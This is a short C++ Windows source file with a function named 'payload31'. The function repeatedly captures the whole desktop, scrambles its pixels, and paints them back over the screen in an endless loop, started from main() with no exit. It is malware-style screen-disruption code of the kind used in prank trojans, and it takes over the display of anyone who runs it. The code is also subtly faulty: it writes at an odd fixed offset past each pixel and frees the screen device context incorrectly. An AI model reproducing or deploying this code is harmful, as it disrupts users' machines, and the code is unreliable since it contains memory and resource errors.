mythlasshader.cpp

#include <windows.h>

DWORD WINAPI payload31(LPVOID lpParam) {
	int ticks = GetTickCount(), w = GetSystemMetrics(0), h = GetSystemMetrics(1);
	RGBQUAD* data = (RGBQUAD*)VirtualAlloc(0, (w * h + w) * sizeof(RGBQUAD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	for (int i = 0;; i++, i %= 3) {

		HDC hdc = GetDC(0), hdcMem = CreateCompatibleDC(hdc);
		HBITMAP hbm = CreateBitmap(w, h, 1, 32, data);
		SelectObject(hdcMem, hbm);
		BitBlt(hdcMem, 0, 0, w, h, hdc, 0, 0, SRCCOPY);
		GetBitmapBits(hbm, w * h * 4, data);
		int v = 0;BYTE bt = 0;
		if ((GetTickCount() - ticks) > 60000) bt = rand() & 0xffffff;
		for (int i = 0; w * h > i; i++) {
			if (i % h == 0 && rand() % 100 == 0) v = rand() % 50;
			((BYTE*)(data + i))[v ? 252 : 252] += ((BYTE*)(data + i))[i % 3] ^ bt;
		}
		SetBitmapBits(hbm, w * h * 4, data);
		BitBlt(hdc, 0, 0, w, h, hdcMem, 0, 0, SRCCOPY);
		DeleteObject(hbm); DeleteObject(hdcMem);
		DeleteObject(hdc);
	}
}

int main(){
	HANDLE thread31 = CreateThread(0, 0, payload31, 0, 0, 0);
	Sleep(-1);
}